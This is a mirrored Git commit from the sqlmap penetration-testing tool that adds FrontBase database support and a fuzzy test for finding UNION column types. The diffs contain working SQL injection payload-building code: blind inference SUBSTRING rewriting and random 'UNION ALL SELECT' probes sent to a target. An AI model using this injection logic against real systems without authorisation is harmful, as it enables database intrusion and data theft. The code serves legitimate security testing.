mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-15 04:09:02 +00:00
Adding support for FrontBase
This commit is contained in:
@@ -116,6 +116,16 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))
|
||||
expression = match.group(1).strip()
|
||||
|
||||
elif Backend.isDbms(DBMS.FRONTBASE):
|
||||
match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I)
|
||||
if match:
|
||||
payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
|
||||
payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1)
|
||||
expression = match.group(2).strip()
|
||||
|
||||
|
||||
#<inference query="(SELECT SUBSTRING((%s) FROM %d FOR 1) FROM %s)>'%c'"/>
|
||||
|
||||
try:
|
||||
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
|
||||
if conf.predictOutput:
|
||||
@@ -203,7 +213,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
hintValue = kb.hintValue
|
||||
|
||||
if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
|
||||
if "'%s'" % CHAR_INFERENCE_MARK in payload:
|
||||
posValue = hintValue[idx - 1]
|
||||
else:
|
||||
posValue = ord(hintValue[idx - 1])
|
||||
@@ -649,8 +659,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
|
||||
dataToStdout(filterControlChars(val))
|
||||
|
||||
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
|
||||
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
|
||||
# Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
|
||||
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
|
||||
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
|
||||
break
|
||||
elif charsetType and partialValue[-1:].isspace():
|
||||
|
||||
@@ -5,6 +5,7 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import itertools
|
||||
import logging
|
||||
import random
|
||||
import re
|
||||
@@ -12,6 +13,7 @@ import re
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import average
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import getPublicTypeMembers
|
||||
from lib.core.common import isNullValue
|
||||
from lib.core.common import listToStrValue
|
||||
from lib.core.common import popValue
|
||||
@@ -29,9 +31,13 @@ from lib.core.compat import xrange
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.decorators import stackedmethod
|
||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||
from lib.core.enums import FUZZ_UNION_COLUMN
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.settings import FUZZ_UNION_ERROR_REGEX
|
||||
from lib.core.settings import FUZZ_UNION_MAX_COLUMNS
|
||||
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
|
||||
from lib.core.settings import MAX_RATIO
|
||||
from lib.core.settings import MIN_RATIO
|
||||
@@ -171,6 +177,36 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
||||
|
||||
return retVal
|
||||
|
||||
def _fuzzUnionCols(place, parameter, prefix, suffix):
|
||||
retVal = None
|
||||
|
||||
if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns:
|
||||
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
||||
|
||||
choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True)
|
||||
random.shuffle(choices)
|
||||
|
||||
for candidate in itertools.product(choices, repeat=kb.orderByColumns):
|
||||
if retVal:
|
||||
break
|
||||
elif FUZZ_UNION_COLUMN.STRING not in candidate:
|
||||
continue
|
||||
else:
|
||||
candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate]
|
||||
|
||||
query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix)
|
||||
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
|
||||
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE)
|
||||
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
|
||||
|
||||
if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""):
|
||||
for column in candidate:
|
||||
if column.startswith("'") and column.strip("'") in (page or ""):
|
||||
retVal = [(_ if _ != column else "%s") for _ in candidate]
|
||||
break
|
||||
|
||||
return retVal
|
||||
|
||||
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
|
||||
validPayload = None
|
||||
vector = None
|
||||
@@ -205,7 +241,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
||||
if content and phrase in content:
|
||||
validPayload = payload
|
||||
kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
|
||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial)
|
||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate)
|
||||
|
||||
if where == PAYLOAD.WHERE.ORIGINAL:
|
||||
# Prepare expression with delimiters
|
||||
@@ -223,7 +259,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
||||
content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()
|
||||
|
||||
if not all(_ in content for _ in (phrase, phrase2)):
|
||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
|
||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
|
||||
elif not kb.unionDuplicates:
|
||||
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
|
||||
|
||||
@@ -237,7 +273,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
||||
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
|
||||
warnMsg = "output with limited number of rows detected. Switching to partial mode"
|
||||
logger.warn(warnMsg)
|
||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
|
||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
|
||||
|
||||
unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()
|
||||
|
||||
@@ -277,17 +313,27 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
|
||||
vector = None
|
||||
orderBy = kb.orderByColumns
|
||||
uChars = (conf.uChar, kb.uChar)
|
||||
where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE
|
||||
|
||||
# In case that user explicitly stated number of columns affected
|
||||
if conf.uColsStop == conf.uColsStart:
|
||||
count = conf.uColsStart
|
||||
else:
|
||||
count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)
|
||||
count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where)
|
||||
|
||||
if count:
|
||||
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
|
||||
|
||||
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)):
|
||||
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)):
|
||||
if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
|
||||
if kb.fuzzUnionTest is None:
|
||||
msg = "do you want to (re)try to find proper "
|
||||
msg += "UNION column types with fuzzy test? [y/N] "
|
||||
|
||||
kb.fuzzUnionTest = readInput(msg, default='N', boolean=True)
|
||||
if kb.fuzzUnionTest:
|
||||
kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix)
|
||||
|
||||
warnMsg = "if UNION based SQL injection is not detected, "
|
||||
warnMsg += "please consider "
|
||||
|
||||
|
||||
@@ -78,6 +78,14 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
||||
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
|
||||
kb.unionDuplicates = vector[7]
|
||||
kb.forcePartialUnion = vector[8]
|
||||
|
||||
# Note: introduced columns in 1.4.2.42#dev
|
||||
try:
|
||||
kb.tableFrom = vector[9]
|
||||
kb.unionTemplate = vector[10]
|
||||
except IndexError:
|
||||
pass
|
||||
|
||||
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
|
||||
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
|
||||
else:
|
||||
|
||||
Reference in New Issue
Block a user